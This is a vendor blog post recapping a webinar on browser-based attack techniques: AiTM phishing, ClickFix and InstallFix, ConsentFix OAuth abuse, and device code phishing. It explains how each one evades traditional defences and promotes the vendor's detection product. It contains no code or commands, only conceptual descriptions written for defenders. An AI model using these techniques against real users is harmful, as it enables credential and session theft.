7 things we learned from ‘Why the browser is the new battleground’ with John Hammond

We recently sat down with John Hammond — Senior Principal Security Researcher at Huntress — for a live deep-dive into the browser-based attack techniques defining the 2026 threat landscape. The session covered AiTM phishing, ClickFix, ConsentFix, device code phishing, and the structural shifts making traditional security controls less effective against all of them. Here are seven takeaways.

1. Browser attacks are evolving faster than defenses can adapt

The overriding theme of the session wasn't any single technique — it was the pace of change across all of them. AiTM phishing has been the dominant phishing technique for a couple of years now, but the variants layered on top of it are arriving faster than most security teams can evaluate, let alone deploy defenses against. ClickFix went from novel to the most common initial access vector observed by Microsoft within about a year. Device code phishing went from near-zero to at least 12 distinct kits in a matter of months. ConsentFix was detected as a zero-day technique by Push in late 2025 and has already been operationalized on criminal forums.

As Luke put it toward the end of the session: "I've seen this develop so fast over the last two years. This isn't what's coming — this is now. This is where the battleground is."

2. AiTM phishing is table stakes for attackers 

Adversary-in-the-middle phishing — where a reverse proxy sits between the victim and the real login page, intercepting session tokens in real time to bypass MFA — is no longer an advanced technique. It's available as a commodity for-hire through Phishing-as-a-Service platforms like Tycoon2FA, Sneaky2FA, and others, and the kits are getting harder to detect through traditional means.

Luke demoed the attacker's perspective using Evilginx — an open-source tool now commonly seen in criminal operations — showing how session tokens are captured in real time even when the victim enters their MFA code correctly. From the victim's side, the login feels completely normal.

One of the key focuses in the session was how attackers are abusing legitimate infrastructure for both hosting and delivery of phishing pages. . The in-the-wild examples showed attack chains routing through multiple legitimate services — file-sharing platforms, TinyURL, Cloudflare Turnstile, Google Search redirects — before finally landing on the phishing page. This is a well established technique for detection evasion. 

As John observed, "the end user doesn't have that wherewithal or that observability understanding of how far they drove around across the internet" before arriving at the credential-harvesting page. Push reconstructs these multi-hop chains into a complete timeline, mapping the full redirect sequence even when individual hops are through trusted domains that wouldn't trigger any reputation-based alert — and crucially, detects malicious content on the phishing page itself rather than relying on known-bad IP and domain based checks that can only see the known-good sites used early in the chain.

3. Email is losing its market share as a delivery vector

One of the most striking examples in the webinar was a targeted AiTM campaign Push detected last year that was delivered entirely via LinkedIn. Senior executives at tech companies received direct messages from compromised contacts — people they already knew, in some cases other employees of the same companies — offering involvement in private equity fundraising rounds connected to companies they had real involvement with. The targeting was precise and personal, and the redirect chain ran through sites.google.com and Microsoft Dynamics before landing on a cloned login page.

As Luke noted, LinkedIn occupies an unusual middle ground: "It's this great way of targeting companies, but through a vector that can't really be monitored in the same way as other corporate systems, because it's kind of a personal platform." It's personal enough that companies can't realistically monitor it, but professional enough that employees routinely access it from corporate devices.

LinkedIn is only part of the shift. ClickFix attacks most commonly arrive via search results in 4 of 5 cases based on Push data. Luke noted "not even malvertising, just organic search, uncovering legit websites that have been compromised." InstallFix pages appear as sponsored Google ads. ConsentFix pages were seeded on compromised websites found through normal browsing. In every case, the email gateway never sees the lure because the lure was never in an email. And of course, even if a compromised website is reported and removed, it’s easier than ever for an attacker to quickly tear down and rotate their sites to stay ahead of blocklists. 

As John put it: "You could set up this lure or this trap out on the open internet so that anyone could fall for it at any point."

4. ClickFix keeps evolving with multiple *Fix derivatives

ClickFix — where a malicious page silently writes a payload to the victim's clipboard and instructs them to paste and execute it — spawned an entire family of variants since its emergence, according to Push’s research. The webinar showed how far the social engineering has come: Luke demonstrated a particularly sophisticated variant on a compromised legitimate website with an embedded instructional video and a countdown timer to manufacture urgency, targeting macOS. As John noted: "It can be cross-platform because you're just preying on the human weakness. The video smooths it over for the user experience."

The more important point was structural. Because the user manually pastes and executes the command, "from the EDR's perspective, the user just manually ran this command," Luke explained. "It actually breaks that link from an EDR's perspective." EDR behavioral detections weigh execution context heavily — a PowerShell command spawned from a browser process tree is suspicious, but the same command initiated through the Run dialog looks like normal activity. Push detects ClickFix at the clipboard-injection stage, before the payload ever reaches the endpoint, to bolster endpoint-level detections and extend protection to machines like BYOD, contractor, or developer devices where EDR is often missing or tuned-down.

5. InstallFix turned the AI tool boom into an attack surface overnight

InstallFix — a ClickFix variant that clones legitimate developer tool installation pages and swaps the install command for a malicious payload — was one of the clearest examples of how quickly a new attack pattern can go from zero to dominant. Luke showed side-by-side comparisons of real and fake Claude Code installation pages that were visually identical except for the payload itself, and fake Notebook LM pages appearing as top Google sponsored results.

The trajectory Luke described was striking: "It literally started one day and then it's just been nonstop for the last couple of months since it started. It obviously is working really well." John added that the Claude Code variant in particular has been "running rampant," and that he personally knows someone who fell for it.

What makes InstallFix effective is that it exploits a workflow that's become completely normalized — the rise of AI tools has encouraged even non-technical users to install software via terminal commands copied from documentation pages. When the fake page looks identical to the real one and the install method is exactly what you'd expect, the only tell is a base64-encoded payload that most users wouldn't think to scrutinize.

6. ConsentFix plays out entirely in the browser, and criminals just got the playbook

ConsentFix was a key focus in the webinar, and for good reason — it represents a fundamentally different class of browser attack. Rather than proxying credentials (AiTM) or injecting endpoint payloads (ClickFix), ConsentFix abuses the OAuth authorization code flow via the Azure CLI's localhost redirect to obtain access tokens without ever touching a password or MFA prompt. As John put it: "This one is really tricky because the entire attack and technique lives only within the browser. There are no little EDR artifacts to poke and play at."

Luke described how Push first detected ConsentFix in the wild — a genuine zero-day discovery that took multiple encounters to fully understand. The attackers were fingerprinting visitors by IP and browser, triggering the payload only once per visitor across all compromised sites, and performing conditional access checks on the email address provided before deciding whether to proceed. "It took us seeing it a few times before we cracked it," Luke explained. "And then we were like — wow. What is this? I've never seen this before."

The session then took an interesting turn when John revealed something he hadn't previously shared publicly: a ConsentFix v3 toolkit posted on a well-known criminal forum, complete with a tutorial video, step-by-step instructions, and a zero-infrastructure approach using Cloudflare Workers for hosting, Dropbox for PDF delivery, and Pipedream as an automated exfiltration channel. "They don’t need any infrastructure," John noted. "They don’t have to host any servers or VPS. They could just cast this out to the whole wide world on the open internet."

Luke's assessment was measured but clear: "When we published our first article, we were thinking, surely we're going to see a huge increase in this technique. We haven't really — until now." With the criminal ecosystem now tooled up, the expectation is that ConsentFix will follow the same commoditization arc as other techniques discussed in the session.

7. Device code phishing is the technique both speakers fear most (and it's just getting started)

When John asked Luke which technique felt most dangerous, the answer was immediate: device code phishing. 

The technique abuses the OAuth 2.0 device authorization grant flow — originally designed for input-constrained devices like TVs, but now primarily used in enterprise environments for CLI tool authentication (Azure CLI, GitHub CLI, AWS CLI). That everyday enterprise usage is exactly what makes the phishing so effective: users in developer-heavy organizations are already habituated to entering short codes as part of their normal workflow. The victim enters a code on a legitimate Microsoft login page, and if they're already authenticated, the entire compromise happens without entering a password or completing an MFA challenge.

Push is now tracking at least 12 distinct device code phishing kits, "literally within the last couple of months — from basically zero to this." EvilTokens dominates at an estimated 90–95% of detected volume, but the kit landscape is diversifying fast. Luke's theory: every existing AiTM vendor is adding device code phishing as a module. When Push investigated the Venom kit, its AiTM component triggered existing Sneaky2FA detections — suggesting the same actors or codebase behind both. "That's why we've seen such a rapid increase — it's worked so well that everyone is just doing the same thing now."

What makes device code phishing uniquely dangerous is how little friction it presents to the victim. As Luke explained: "It's purely identity-driven. It completely bypasses 2FA, even bypasses phishing-resistant factors like passkeys. And it's just not something that seems malicious to your average user. We haven't trained people to worry about being given a code and being told to type that code."

John's closing take: "It still feels early and emergent, even though the technique has been known for a while. It hasn't been weaponized like it has right now. I think device code is just at the starting gun." The blast radius extends beyond Microsoft too — GitHub, Salesforce, and other platforms support the same underlying flow, and was exploited in 2025’s massive Salesforce campaign operated by ShinyHunters.

What ties all of this together

Every technique covered in the webinar — AiTM, ClickFix, InstallFix, ConsentFix, device code phishing — is designed to operate in or through the browser, abuse legitimate infrastructure and authentication flows, and evade the traditional security stack. Email gateways don't see them because the delivery vector increasingly isn't email. EDR doesn't reliably block them because the attack either breaks the process tree attribution (ClickFix) or never touches the endpoint at all (ConsentFix, device code phishing). Network proxies don't see them because the attack plays out in client-side page content, DOM interactions, and OAuth flows that are invisible to traffic inspection.

Push detects all of them — AiTM phishing, ClickFix and the *Fix family, ConsentFix, and device code phishing — through behavioral detection at the browser layer, regardless of delivery channel, domain reputation, or infrastructure rotation. The detections target technique-class behaviors rather than specific kits or indicators, which is why Push detected ConsentFix as a zero-day and why new kit variants are typically caught by existing detection logic before a kit-specific rule is even written.

Watch the full webinar to see the demos, attack chain timelines, and in-the-wild examples discussed in this post — or book a demo to see how Push handles them.